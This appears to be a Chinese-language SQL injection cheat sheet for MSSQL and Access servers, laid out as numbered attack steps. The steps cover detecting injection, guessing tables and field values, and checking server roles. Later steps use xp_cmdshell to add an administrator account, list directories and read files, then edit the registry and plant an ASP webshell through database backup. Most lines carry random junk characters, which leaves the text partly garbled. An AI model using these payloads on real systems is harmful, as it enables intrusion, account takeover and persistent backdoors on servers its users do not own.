1.判断是否有注入;and 1=1 ;and 1=2 M.h)]S>
2.初步判断是否是mssql ;and user>0 {5ujKQOcR
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3.注入参数是字符'and [查询条件] and ''=' QasUgZ
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' -Qt>yzD3
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5.判断数据库系统 D~KEjz!bQ
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;and (select count(*) from sysobjects)>0 mssql ?5%0zMC
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;and (select count(*) from msysobjects)>0 access JWu^7}@~=
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 0a#2 Lo
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 U1+X!&OCp
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 *?k~n9n5U
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9.(1)猜字段的ascii值(access) mOLP77(o
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 t+R8{9L-
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(2)猜字段的ascii值(mssql) R'#[}s
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 zi^T?<t
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10.测试权限结构(mssql) )PM&x
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- wKjL}1.k
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- rtl|zCst
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- jIZpv|t)
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- l s(lL\
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- /$'R!d5r
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- cU,]^/0Y
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;and 1=(select IS_MEMBER('db_owner'));-- REyk,s2"6
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11.添加mssql和系统的帐户 gFJ.
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;exec master.dbo.sp_addlogin username;-- dS7?[[pg9
;exec master.dbo.sp_password null,username,password;-- D ^ mfWJS
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 8 |2QJ
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;exec master.dbo.xp_cmdshell 'net user username password \r_-gn'1b
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- +doZnU,
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- H
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- xLfx/&2
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12.(1)遍历目录 9{gY|2R_
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;create table dirs(paths varchar(100), id int) xWY%-CWY.
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;insert dirs exec master.dbo.xp_dirtree 'c:\' jU1 ([(?"
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;and (select top 1 paths from dirs)>0 D49yV`
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) j@jaFsX|
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(2)遍历目录 icq!^5BzL
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- d ] J5c
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 y{>d&M|
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 alQMPQVin
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 +|#lUXC
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 WJefg
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13.mssql中的存储过程 t5r,3x!E
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xp_regenumvalues 注册表根键, 子键 M2UF3xD
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 i%jti6z$Hr
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xp_regread 根键,子键,键值名 ,>6s~'
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;exec xp_regread sEpY&6*
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Igowz7
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xp_regwrite 根键,子键, 值名, 值类型, 值 UY@^KT]
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 zZrUS'8
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 {Kn:>l$*7
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xp_regdeletevalue 根键,子键,值名 aS
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ,>H(l$n
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 eko$c,&jY
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14.mssql的backup创建webshell J2rw4L
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use model tOn 6
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create table cmd(str image); 4/6?wX
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insert into cmd(str) values (''); 6Fp}U
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backup database model to disk='c:\l.asp'; |y,%dFNLf
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15.mssql内置函数 gP&G63^
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;and (select @@version)>0 获得Windows的版本号 N3J T[7
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa
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;and (select user_name())>0 爆当前系统的连接用户 in>Os@e#
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;and (select db_name())>0 得到当前连接的数据库 >A'Q9Tia;
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16.简洁的webshell ="~yD[S
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use model (jR7D"I
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create table cmd(str image); 6V[ce4a%
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insert into cmd(str) values (''); Y9YE:s
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backup database model to disk='g:\wwwtest\l.asp';